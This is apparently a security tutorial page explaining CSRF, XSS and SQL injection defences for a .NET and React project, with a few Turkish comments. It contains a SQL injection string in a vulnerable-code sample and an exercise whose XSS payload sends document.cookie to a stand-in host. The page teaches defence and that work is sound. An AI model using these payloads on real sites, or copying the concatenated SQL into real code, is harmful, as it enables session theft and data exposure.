Identity and security
CSRF, XSS and injection: defence in layers
Three classic attacks, the defence at each layer and why no single measure is enough.
Understand the concept
CSRF (cross-site request forgery) abuses the cookies a user’s browser sends automatically: another site makes the browser send a state-changing request to your site with the user’s session. Defences: SameSite cookies, checking the Origin header on state-changing requests and anti-forgery tokens where needed. GET requests never changing state is a foundation of this defence.
XSS (cross-site scripting) is attacker input running as code in your page. React encodes text by default; the danger lies in dangerouslySetInnerHTML, Markdown that allows raw HTML and ‘javascript:’ links. Defences: encode output, sanitise user HTML, a Content-Security-Policy header and HttpOnly cookies.
Injection is input interpreted as part of a query or command. The definitive cure for SQL injection is parameterised queries; EF Core parameterises values automatically in LINQ and in the interpolated form of FromSql. The danger is building SQL by string concatenation. In this project Markdown never executes raw HTML and dangerous schemes are blocked in links.
Each attack targets a different layer; defence must exist at every layer.
Adding user input to SQL by concatenation or to the page with dangerouslySetInnerHTML.
One topic. Three levels of depth.
// ✗ SQL injection
var sql = "SELECT * FROM Posts WHERE Slug = '" + slug + "'";
// slug = "x' OR 1=1 --" → bütün yazılar döner
// ✓ Parametreli (EF Core)
db.Posts.Where(p => p.Slug == slug);In a parameterised query the value is never interpreted as SQL code.
This page connects to no real server or database. Code samples are illustrative for .NET 8, Next.js and SQL Server; timings are example values in the simulation, not measurements. Try samples only in your own development environment; never share real connection strings, tokens or passwords.
Try it yourself first.
This was entered in a comment: <img src=x onerror="fetch('https://kotu.example?c='+document.cookie)">. A React component renders it as {comment.text}. What happens? And with dangerouslySetInnerHTML?
Show the solution and explanation
{comment.text}: React metni kodlar; ekranda zararsız bir yazı olarak görünür.
dangerouslySetInnerHTML: img etiketi oluşur, onerror çalışır (XSS).
HttpOnly çerezler okunamaz ama sayfa adına başka istekler yapılabilir.Bypassing default encoding opens the XSS door; if HTML is truly needed, sanitise it with a trusted library first.